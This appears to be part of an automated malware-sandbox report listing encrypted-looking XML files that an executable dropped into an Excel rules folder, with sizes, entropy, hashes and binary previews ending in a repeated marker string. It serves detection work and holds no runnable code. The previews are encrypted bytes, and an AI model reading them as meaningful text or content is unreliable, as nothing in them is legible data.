Size (bytes):	752
Entropy (8bit):	7.726587792287295
Encrypted:	false
SSDEEP:	12:v/mcGXiQETyDC8M6ImASQqCdxXScYKUuzyLlZxYHMH1DVSUdNcii9a:veXXeGDCeIdSQqCdcftYHMVD42bD
MD5:	9F3E2222D585DA56ACE654FCB937DDA3
SHA1:	A7AF814F0E7A271CAD18CC0464C56866D2FD7E05
SHA-256:	B6DB1747C4636D21E9AFCAD8E127F92431544B65F579A546EB4C12F1B62B142A
SHA-512:	C5F96966C61209C01B7127764F4ED282DB45FE85F01822DD3CF06998CA6BD3656275B604E99FBD4821683AD1821B5E73C94CA616F7B3148790E0DF9728EA81EC
Malicious:	false
Preview:	<?xml.8Xlbe.....`i.h.!.F..#....)..Dj@FW.-.;..9H.r.)rV.~..V..p.H...\|./.9.........k..i.....y.....Yy.......I........./.d...{.}.S......2...kB/..>]..}.H'.?x..b......Y.R.Bzn.{2.^....W..L...K.8.Z.. ..x?...X5...7..-.['......,#U.zt...C.Z.Y......c=.....$...p.s..p......Mi..g...a....AK.k.%..Z....sGq/..k.Tf......e....st...B(.(.~.-D.......[.W.z.CUas...........U..j.#.u....x..e../v.6........=2......:..ia.KV...30...-......T8....~.0...f.H.........&I(<.p......0..)+7.......)....2_A}...\.(..m6.f.m...]3....Uj.=_D..D..@6...]....o....y......Q.......o+.\|........#...%bx.)..T...G.>.`Fvh.....T..M......e.....h!}...`.....wF[zCa..V.<...Q:d..8.0..A=.E.9..."s.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.734349997194652
Encrypted:	false
SSDEEP:	12:6i9LhZb3SeZtG0wzLjzO5p/t9mAxwRTeWBpnbVLUR7kz+FSUdNcii9a:62ZbjC0mcfTC5Bpnb28b2bD
MD5:	75A0881C72EC24ADED7D2A56FB425812
SHA1:	3C621A6993652AD91BD4FAF51BE937F9FA4D3F5B
SHA-256:	AEE4F7420B7EAA9B1B3EFCB4EE972BFF6F3F69489D486F26882F1B65093413A3
SHA-512:	79212690E1E978E74140321A4BF173F744A755956B864E7D86B564076EC6C6D55FFA28A8B046CB11D61474E03E90C5C948D1809D23A844624A17E6D5EFBC2720
Malicious:	false
Preview:	<?xml./...j4....+..B...?<...))0&.P.T....(1.-...{.......tJ.../.t.........n.GLy3...x...L...]M2..y..{....i#..T.I..s...3Q..,..).L..l./=AQj.S.(....H...H.....&Q..`..g.&0..Hp0L.....&..n.........~.;g...}....ZVL...H'.N.i.U..#..qNv.h..".[..> ........{O.............l.w..;.'.+7..+..k.....<%P..Y..c\A.E..8.KM....N.S8.<...h%...Ip.5....s^LH.........l@.P.#..."...L. {V....R..R..h..(:.m.. ..I.....6....m.,..\ '..,)x...W.T.......g`x......&S)0.)..0....+.uvY9t...........\|....F....b...H...O..}.0..D.Q.I......\|{...q(.Y..c.BO._S...9..7....`.X..R....&z.9..BL...s.....y...&be..3.........'....k...(.iiq..<..82^B..*\|ufV..`...t.\|......SV..l ... ?...x.G...7....G..U.i!VN.cW....K(....\|...b.Rg.J..w0"U.+..n.O..Z.-k/....P....K...0.......~...!.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.665426349179472
Encrypted:	false
SSDEEP:	12:RTPwvvClC6MpcG04fstmsymL2Xt2CQe1mfcfMgaSazmJjSUdNcii9a:lPw3gC6MqGDstFTL2EeGcfjXa92bD
MD5:	27F47B947AC1C1991DA6A6074046F0F4
SHA1:	505AF95731D241CEAF9DC8ABD1551AB58B93F796
SHA-256:	A7CFF3F9A427CD40BD367D0217DFE3E88E79BDC290597E81CC1CFC02239A2B48
SHA-512:	5E45281463F882E9B72249052A8967798DFCFF110E0523A1B25381E1341D0F1A1CF443979210929A92929C7BC7354FBAC604AAA7353E2704B1F99C915F5CE08B
Malicious:	false
Preview:	<?xml.....Qr..\|.?..vP.&.6uF..u.X.f.%y.F...i.P.E89OFX}...q.r..$.)q..rN1.L...i.mb...A.#.0.".q._...0..."...V_........5.+....}..Q.Ls....6.E".....4.m...[x.u..=..X.7.....!.e~.#..+..Mt2V.N...ji..\|........u.(....e#.w.:..?......7.X.a..%u..(+(R`{.b`....iu.?._.&.f.9....%2.nJ(.k.P.....S....).....^.q..@.W.~_...~."-..1.&.N......Ap.p..:..>.G/.p....m...q.....q..)D..]..S...e'.U .q.b.{3.._...a.....1...g.q..n.....?..8.T@..{`m.G..$........2. .....;..&Q...b.f..Fr(Q.a2....l...\|};VUTu.y.\|}..UT....7.?.LZq.!....ui..t...q....W.!.n...B..\|Q....f........6..5L....8....Z.*.N..u.x.X..D1..&Z...t.M8...%K.tP....!.W.....b..&.F..L..._E_e...f^/..CF.\|..1[O.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.748639204775985
Encrypted:	false
SSDEEP:	12:1OGIALOpztE/Gr03I21a+97jw2cbdTCxUOy6zOfr+ANQ5t4icciihSUdNcii9a:ZIAEz6ew3Xa+ydeiOyrrHI4siiE2bD
MD5:	42CC75C88BF4AF81CC18DCC0D0CD6AA9
SHA1:	265112814E4326C9BEA4BA16451B84DEBBB4709F
SHA-256:	C55C1704286F5816D66521F8AF60D5878A6A5AECAEE4A8A0F038857BCD5FC066
SHA-512:	152BD736B777CBACF45AFB2EB532A7700592128D43F1A43D1A5E234D4A6BCD78A5E4FF7BFA6C287E63075E28F4EC7366E9EF2DCCC8E2B4B78A2E4D418908FB97
Malicious:	false
Preview:	<?xml.N..c.r...X.-..5...)......kL..-..<.........@=m.UP.w..S.P!.7.Gf.v^'S\|..Q.....n.#....a...7N.0IC....C.45XQN2A.Ir.2.....xI.?....x%.......W&Oi. .....O..;qH=6..{e...W.i.+eO...97,.Q..&..V..n.E.g...uO......^....%<...2...3.Ik"..)#....S])."\....}..9...[..^l7...cRZM .I.=b`...&g.......... ..;&"....Z..A...a..lWI.......[...f[.q.s!6.G.....SCY..U0H...e1.=4r&...)(S.....fV.sT."e...B2......"Ad.>.....K.Vu...k.=..qg.D......I...M.....&....v-....V....[..R.4E...q..q...#...w..v...^f...+<mg.'7.5E.'../.....m@b....85"yM[.k.L..v..VLO@2.o.}.I,"_Co..^.C^.2...~......s<a........PP.J5.....\r......p=^N.E4=..8.......ML...%T.H.=..!....(...i+o'......}.$......VSZ..(."..c.....L.~.a6sh.L'..Ob......Z0.6..F]?.2.j=.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.705620062522502
Encrypted:	false
SSDEEP:	12:wcycyyrwpQPSYrF5OZjQ4/pMDaXwifAYNXUdzF6T1Nr3fwNzPol6sY5SUdNcii9a:wmtrHSC5qFC29fNNXUdzIDGLol6g2bD
MD5:	3A34A0CBB43A821CB9DCFCD04BF87726
SHA1:	8BABC1CBEDF5A7A6D8D3C0BC9E744157C4376A05
SHA-256:	05777CA960CB6817E1AC130BFA4D34923C820C7292DA070FC8B84B70AC5A28C4
SHA-512:	761EEE476C75E9303529A25A6658B025300BF6307B93B8EB5700F387CEF6245D25F13A3F3CEB122F137774866754AD81770590708648A69CFFAD971B7F384375
Malicious:	false
Preview:	<?xml.80..8.hK. ......,.O.y...Y}..:.G..&..lz...xk..K.g........,.....$m.D..u.>X0...fD...\|e'.o.K..I.#88`.<.[{v..=.r-4......vIy.G...x~D...N=QUv..8b.-h..2/.Pj0...3..s.s.-...xK.i~2...$.mp~O....."G..7...D.....@v7nL.x.#.Bun[.5..V...k3C.E@.I....~...Q*..b........=.s<t....}w..x...l...(....3c`.D...)..../y.^..n..'r.ff.O.../..#..E2.t............8.W7.bl. ..I...1..d..7.Z.`xF....tu: .."...B.'<M...(..U ...!..V:...... .uX.1..........?2.P.g.kf.<[..%,.w"z....l.'9N...EL..7_p....V.er.N...W-.g.m...h}Nl.5....Z.......S..e.N.G.4.6$....QQgK.;%N.R.>.....b..P.6..V..w+r.g..%h...\:........,.()u....TEp..Wj..pvYs..\|}rKkAU.,H...H.h..Hk.C..caL...J.....T..}.........$.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.751139592846596
Encrypted:	false
SSDEEP:	24:mgoK0+KL2XqSiiUSqafdJ11lzBO8mv22bD:m3B++269iUSqafBdOzD
MD5:	EB113254C72EB37B56EA2DABDB4BD206
SHA1:	1D9B83119E9E3EBE6B58151D3D3FBBAB40AC5A7B
SHA-256:	0BE8A7A4877DA046C0CFA7CF590406C17812482FE9FE4793007F55A9B29507B3
SHA-512:	23EDA431A1053CBC98C122F5D4F7FB5C876C71F3E432714D11CFB41117E4197A595301FC6880AC76B3E52D873975763E1179AF57098B12CD20C8357C48554D0E
Malicious:	false
Preview:	<?xml^...VRN..C......A..;...<M......._)r=M......L...l.}..!#..L.{.,.n>.5....r]1,.c..\.F....,%..H.....KH.M..S.X.P..X.\..PE._;.\......\....t...l.... ...r.H./W.3\...2._u..#..rn.e....G..G.......2..G'..k.v.%.!CF...x...sj......$.\....u......[.8.K...7....4.].fw.e\|..lD......]...^D[.$.@#XnwH..)D....Ho...J..#AE.<.(7i..U.._G...Hra.A..C.R..L...Z.W9.p..OJp.......~G9...X./Mt.X..m..VG.f.D...Nn..^..f.Kjh..\|.;~....)......::b6.^.oM.M.o6...4.1.....`...]$.D.R..'b{J.....+....z... .<~....~..P..!....{.....w6.hd.8..{..}.k..2...B..@.. .T.Ov:P'R..4...#h .<_CA.c....b.....G.I.N+PV.7.B...y.9...[MmOJ..8mn.e..5..).hq..x.....+.).Y..u.}......].f'..U-I..i......L.n...~..8.4.T..$.......z.Y......MD<.7...c....g.w.W[..._.M....@.y.A.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.697326029547155
Encrypted:	false
SSDEEP:	12:KJt5iLKWlWIb/gxM1tSmcmk8pBwdU7vNiQANDLi3mYdFA607EsL7WSsnMSUdNciD:KJt5a1WIjBSm48fwWNiQANDLi5A607/r
MD5:	23BC9443AB7BD58EA38921172412A807
SHA1:	8A1AB6FB68AB3A4836926083285929812129EF80
SHA-256:	FB996CBFE815EF342F21110A7BE754858527BD5F0B5FBFB6086AD30B12AFC217
SHA-512:	4BED0D8B3FB48D36E530CB8C71A6E1A30564CC3F7264E96B429E7AA04F2D5853DDFA80D7FF85AE88654D7F1C8B29621FC9E92BF0AEA3092860A2FF328CC4B15A
Malicious:	false
Preview:	<?xml..?.F`...ddx..Z}.#...W....u.0.........f.zG0Ey..T....o.^../.T2.H....e.W(7.......H..R..V........N..uR`$....y ..><c.....8..[.G.B#....a...p...K.. .TI.0GH....d...m..ZUm.v.....0K-........<.&.3_......u....../.5Txc..C.v.....QE.Dr.l.....5...6.O...V..K......H..`....sU.......$.N...1.!.a..EBClU\..4..\....c..{....].....mY.HI.3 ...N.,..7S......`.&_.B2.s).l....V..f,......~.......-?.m.....U.XUe....=...9b=.6).z..d.8}...8.;Z2K.^.Ly.....&.........M..R....s.u...S.f.\|...&....q....I..@....7..2.m...^..I.....?oT..h4.?...2p:"j..G..rZu.\...y6>o.U..CzeH.!...9...^..-t.i.\|ER.$..q...K.#.\%$=....jx.[..+<T-)3.(.8.S=....i ..Ug..CAN..Y_._.G..h......*.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.683810272175148
Encrypted:	false
SSDEEP:	12:z6QKWv7+spz8uRDBN2jPa1IgC7laRtZhBRtEP193nr3K/F2KcXTEREnCI/WSUdNX:W2+4RDBSS1VCpaRtntYlr3x5Md02bD
MD5:	66FEF68E2D5CD3232E25EC1FB98DB8D2
SHA1:	943F1F27F548F1F12C23FA0578DF86ED168BB803
SHA-256:	948AB343573DEAC63A56E36A4F8BAF9D7632071E8E6CC975D53A87D159F3484E
SHA-512:	0D0225C6C389FE77ECAD49E71FF3631A1ABE4C7688183A55E57FB379B8CDBEC3D60160B48336FE499175C474CACBA12E0FDCC121D7395D2BFAC3AD6788F5F262
Malicious:	false
Preview:	<?xml.5D.j...-oQ..r.R6Dh......).^.t_......_W..9.E..K\|U.L)a.~:>.i.....?..V.....P:5..=.....{.Y..z"G...c.M(.,.b....{.....`M..."..$,H.?...}.U.f.RS..!wY..A..8.....1O.f.hY...$...8)6.j.......Z..B.p.......H."Ze.b.m..m..dm..`..9ZsI....u..sY{.xG.1....!..M....Dx`y.R[...(..d.#.\'..d.......)...>.<+.mm.0.0$..{;20Xsz...oT...5............d.H.....B...6f"e$..-.yJ3.$..HH<.U!(..dR...84.`...;..J.'.%+.m`.Y?...~V..9.q%a1o...E.....},.R].Hf.}....W+.....1.O.}..R./..E..U....D..-.<.R..\|.x4.-Z...+.y.D...."pd........#...}..9..m...Y.........Nd.B........\|*.+....b...7;!........,s2[^.ll...rQ../p..5u..(&+.>......8!!Q.r...\b..._.....1.O...i......F...S{..+.!..sn,D.h.....%3Q...p\...M6...u...3......3.....m0...@mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.69418669655307
Encrypted:	false
SSDEEP:	12:7LCMCu94dgH81hZP0510pujMTrIYuewboYacFRlryHIQo8O3xp4utvMBbp2LFSUn:XPR94do8y7HMnITamXigrmMo2bD
MD5:	57BAED5941324C813A9ECD9DAF46DD89
SHA1:	71D4DF009646C1F282378C0832991470040A43CB
SHA-256:	0F07CD00B7D582FBEC270C82F789B9012048E1608390E642626864D649E043ED
SHA-512:	D930261E1D720FB1E7260121E50D301116D1B7B0264AC1A5F9590B0C8FCE0F131166D9A2872D939DC0E7F0889241CF2557DF7FD31B400DBFD3A85AA45407F3EF
Malicious:	false
Preview:	<?xml....D.>..Wa^.`.e.6d....MK....dK....H.P:.....f.......z.n..^$.Q....o........<.&..x....l..p{H......M..;R.....+.....\...0p.3..{+.dd4... .`."..u.ZW\.xbJ.zT..%..W.e..fc.E..h...*.`.;.mi...DH..Jm=.jB.D...&ko.F....6......[T...L..\|wJ......6......6\......."9HD..W\|s.A.G%...[x...'J...l~...$.W.@...FO_....0p4,...^..R"..0..../.OH...I.v.(.B.L.,.+..............eC.!.`(.....R..3.#..{P.J....u\|_.....8W.f.$eT'gE..<...<........k.H....& ....%.F.....6...Zc......G.9'..r...U.%#.S..%...J...z.n.z.w9....GTk^./6...a.g......$p..Z.fX......{....U.....f.....y.@u..2..6......-...Nn. .{.T.Q...5....S...W.. ...3.....$80.....=2.K..!..8.L........$....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.733674472817746
Encrypted:	false
SSDEEP:	24:E/0U0v7bg9M9oRWQQ7vvsqmOCHybmVGRNEx2bD:E/0UObg9GoRkAqFCJVXKD
MD5:	F9A6E9AA1264EA0CAB3D303F64F95C4B
SHA1:	94A08DC2691AF1E138697B8E47554C51CE6A2F4A
SHA-256:	C999407B46F748E1E7A9E8A6B364852E74D2CE0A19FDFD1C6364798B87755AA1
SHA-512:	1A10A3897B73D5731DF27C77AB6C9E8456D0E73219C29D3C3181C41D4E3DF5F5860B7E7AF1622D41D0F166DE2647E8B746CB153F92D0798A85D9E4C0C9E5D787
Malicious:	false
Preview:	<?xml.....b1...kN..G[..AkY...x.8P..2..A3../..a..}...N.0_Gf.U.7.J.X...[.Z'.n.=_Z......mX........5....pI=..:....I....3*$\|.....wQ.ow...2..~y....Y..:...h3E...tnMm_....o.b`........H..-..y...[...,...'QiU.....cD5..;.U.i..K...?..M.\|.......q'.Fd$.j.of.H.8L45...L..$^.z..".b7..@u...N.GY..T.....Q...vO..j8...2.u......Fc.K....R.E....E.Xqw.6..0I5.U....o...v.2.J..;"..~..C.E..\|5....K.\|.....\|_....,s.....`li....{....V..GE..<.8.......)..O....2...=Ov..2~E..YxLKe.&....K.\|....;......R#.....(@.&\..r2Z.....lF}.5...i~...)...=.y....%R..m..8..._A..-.=...s.L.J~9)..`.+...B..8...w.p>.$...7.n.~...+........5.^.9.9.5....8.lqX._<..1...Y$..&.Ln.b..,.?I.0.b .[.,...../...D...>XK)..kWh}xL.Y...P..x.?s%..x.....>..-.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.742917826016801
Encrypted:	false
SSDEEP:	12:JPAiVmIO5b13dfEdw0CUYKi14Zz7FN3VDXWQzyE86vfSUdNcii9a:JPGION1tfEdwjUu1qvF7XWQzyTD2bD
MD5:	651CE0E7480004FD6C06AA90CD4D06C7
SHA1:	E501A5D4858D1EC36797843E94915C0B34556BF6
SHA-256:	CF35BECA1B4A19033A753F7F9FF5A01D59E990BA29BC70BD972A8EB2A1A56F36
SHA-512:	B5C00F728D045001CD69EEB5B6826AE39AA20CADF5B314B5470166FCCF9B548EB7A7F84E5DF42E8E41EE79D3212B0A1246AC5371611F03096C513D229663A8D2
Malicious:	false
Preview:	<?xmlks..%...>.u.P...3F...M$....W\|....L....Fc..C....W.8...>.R..h.\|.#..ffi.T.. ~{......4...M..C...M....../...D+......x..l.dzt....B.G,.l..6qn...N:.L..%i."T....r...e...B....'..p.48..~1..y.M..C...0-.d"K.D~..XZt'..Ff.V.kC..".%g8.A....XF..C/}.<.jY..`YB.1v=m.+..e!Sq....h...:.6.....T.t@.J^...a.y.....U.@..,m;.\|Y. &.......Kq^j(T.WI6.S..c...o.?T.R......U..T ....ID.....d. .S-(MDs...q.Cx...,....."].i.....m.:E7.K.....0..j\..IL./..[.tJ.5...{{.f=..$p.;l.....#K.....vb.....Y....d.J?h3@....Y..q....),@........t....{.4/.@.<a..i?.N..g.&.q.......... ..!. ..n..Q.~.7.z.'....W..o.<.V...b...._..s)w..^`....A.T..L..)*. O...;.u.\. .........mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.722852528453256
Encrypted:	false
SSDEEP:	24:wyfP3970eXaPUMDB9QUPm1O/HSHRVTMJAU4THLX5Q2bD:wyfv9IeKPUMl9QUPmEHoxPzXtD
MD5:	998324BD1396CA89C109BAD62B5EE743
SHA1:	4457D68C76792DCD680E1001D70FE09263E7E678
SHA-256:	3B103EE391636989E817AB3B12FF6241145CC502AE0945025EFF85BC731D98A9
SHA-512:	3F74669A4BA84DF050BBC23C4826A171A80B988B99098147D7949F0C70A854E631B16E02EF052258CEF11A41ABDA474623D6125053FBF90A4A3DF21D9699C128
Malicious:	false
Preview:	<?xmlIn... ......@.R..6.F.<.<e.]...\...\|.YT+3.^....c.n..{'H8LWA.../..se;...z[.3......<....<F.@...r...8......;A+K.k.Z..B..O.&.XO..gqZZ...Dw.L.(....p,.u...3...<..n.A-H.e4..~r}.Q.G0i....4...y.We...U.P.&n...P[....D.>J.Yj..~~....P..~..$.W.Q.W...VH...9....*..Z...44.y:..C.G......o,$.:.h.....Fg$N~C......j..QK.i}.#R.V.}.p.V..i.....fW....n..a;.d..k.S.wO.}L.]....QE./F.>.y.G.W..K..J.!.9c.5.Ak_.>...1....o...}......?..h...C.`...~.T...h.M.:vH..u..i. Wh..}..S.W.j..ycQ....Gx.\..8\&..49p...r5....2xF.d..,6.7...d."T......4..=.D@.gi.Y.9L.<..D.. ...h.v...SoI.-...}N..)......#Z..M.......;.....p@...)hG.jaE.8\i...Tc>..Oq.7.NaT.fIM#.qE...D.....]...c.S"..6..&@+..3.Q.Ux.....f.N..5.............).g..}...c.9W.n.C.t.HmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.737554506381667
Encrypted:	false
SSDEEP:	12:isfGq3/3yLDcZQRiCxmL9mlnVLaNtFfYUppmmBq+Pq2Z8zFwP/cv3SUdNcii9a:513CAiYCM6LMzfJ/mmE+PZZkvi2bD
MD5:	B70FC688F266C5E5CF96A3BB4D3AFA16
SHA1:	7902B646D7B0325D681ADA897DE524C873C20534
SHA-256:	7D553F140EE4C9EF8DD48E1E8FE0A47B62AE9D59E1A214AF1DE492541423D0A8
SHA-512:	4228707505495BDDB3D036AA271D7E0000782F500D56B4FF1441331DFCE33EF72C0DB618AA1C8C06196421F6C358C4178195814F23B72EF8191FB2EC57A7E3E6
Malicious:	false
Preview:	<?xml&.x(9.6......e....+...d.L'...<Qc.Gb3We.qg<_.?.y..b9.....[... f.c.!5.v;{...j...q..].yx..U..9^..9m...;..I..F...Vw.,$....R/N.8..{=z.-`"0.F..n.{.M-q...Me...2@I......7.H.u.2O..o...lP7...y.BvdB.Gc.q.}.C.o.%x...&..}a..+..P.....A...3./Q...v....t.0..\|Mm...>.u1=.P...\P.....Ef...Q....\|.63.....Kvp....~..?j@.8.........f....^..+....1...'..6.l.t..0.....4.Q..E3..Q.bH...O...+!.>Q.....n.K..}.p...d.W.@.Nn...I^2w...%/.7....SH\..]F.I.A..`_2.i?.~.k..z.(....@._.<.....'P.v9...s...=.KIG..#.A..[.@C.FK.y.0...l..?.,...J.fKo..M\.:..N..Z..9.X..........45..R....q..!N.Q)F...t}.!..hop.t.d.!...+.r......;...m..a...a.g.......R.j......".l5....+:..0.............Vd.N..y._mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.716710554273338
Encrypted:	false
SSDEEP:	24:Wbnv9L3cl2+Bsc4TYdPCsHwuNA831Acl6/zvo2bD:WbFLslZ4TYdVQuNtDmLbD
MD5:	3349DB0DFDAECBDE083656DBD091ADA8
SHA1:	137471F0E8B8085A8E75A246367D9C206FDC317E
SHA-256:	23FCA4F6231CA3BC23120809D384EC135848D4F9DCA61A77D586760255B63681
SHA-512:	7CF585F95F0450AD5D47A7FDA7838406E427B68B6E158E659BE2AB98790F0675F7A5DC058597ED0F5D329F35E80858EA993898BF992B17BCA83D86DE827B4344
Malicious:	false
Preview:	<?xmlL.C.[.%d.}..su7+..+Yq.7F....5....r>>.O......?.F..d.7d...`.6.^=...m..E5U..X..T..e..g.7. .%.V....g..dt...lBu../<E..?E..].....[.p.TzV7...s.rJ..I...L].....K8....r.E.X.]..*EnX....."....j..&G..9..(..v.B.....qP.C.@I.HCPr4.....2.QNz.3..ZL].;...I....c3ru.R.....T............(9{4...(..O..3........+7oi.......%..#.\|..7....g....pN.I.f`.AhE..0....^......P.'.'.R..w+..~E."=..u"....."..t...L.W.G.....jR0..q.."-Fm.....Y..a.n.../...N..w.{.:A...?..x...XC...f..#..M@.jr.E..@d...E.6...h..A.B9`k..~.....\R..F.........k...O.m\|?.w..=.q_.C.b.f...`..7..c./..1...r..Ka5..9=(p_...A{.Im5D..XS..].A...+......gfE/.J.%.;..>..:....v#93...R{..I.j..........O....w.iD.......5....@a .3..+..t...:.....5y/^X..3.E......D...2.F]...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.687453959515304
Encrypted:	false
SSDEEP:	12:0d9t0iWvfEJV7R7aCMxF5rQ7uMRuXKmGB528FlpzY0kVf3WRhd+ooSUdNcii9a:0dz0fOV7Vab5rXtJ4Jn+L3WRLF2bD
MD5:	29A1256B92F65810ACD1BF68545C560B
SHA1:	5CAD89A78222E278CE38AF30E70EEF91EBD3A072
SHA-256:	30A327C936C1242F11D3488D8ACF50B48D689863F96B043295ACA9953AB047F1
SHA-512:	B64267BCF9BC395C2BC6B094C008EA029BE472C679C50A0E9C301E3644D01243784089B429271CFCEBA542712F17DF50E59BFE81D2E9D3ED5DDA54CD9C1FCD31
Malicious:	false
Preview:	<?xml....5...^r....M.....WM..MU.w.E-......z..../"Wn1.H.....0....x.......;x.o.>W'c........Y....%..x\|.........G.......[J-7.....%..>k.{...........H."6f..U'..d9..O...vb..It...V...h..u8.........]..5.A^.57Ao..v.o.(>}....e.L4O...q.;...U[.....+X..j)..s..Y.F...`..Z.X...../s.....R..o..s......UZ~..hw.J...<.W.T.)..vv%K.....m..4..b'....q.u.R..na.6....\mo..v.N.....`j].wG-W..bc.+..Ung...#.%.D....\.....@}.3..].. }..K..;.............<..#).h.m9..m.\|..s..;....o.y.......'........"S..}..W=m.... ....4....0k6'.=.........[)..F.PA.....4j#aM..R..y.+...{..o`B.@L...>.l..~=.\...n[..R...)P!N.>....#..w......D*@....>..l;.(q.c`..>.-....n<...=.......k.....!..jx.../f../....,...k..2.....;DY.....!.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.741124307324187
Encrypted:	false
SSDEEP:	24:QNH0DLIvEbiRI2B7qWJJo3rumn1UBEHoEp2bD:QqNKWWvo3CmneWIECD
MD5:	C29FFB40642B6EA3E8ED716643D00534
SHA1:	3E969DD5D721258592F0305E8A51C771463C515F
SHA-256:	40866F73F6FC9253399CB0FCC122E1794DDD0B7813F1B87F545B67DD5ECE6979
SHA-512:	22391136399E581ECCD4BAC0B8D41E9E211778E41E7FF984626A7539D1FD5C9A026AF9D40040364698D7E5FBEE5BCD9AAB395A24839D3E8B7AE53AFE21D10641
Malicious:	false
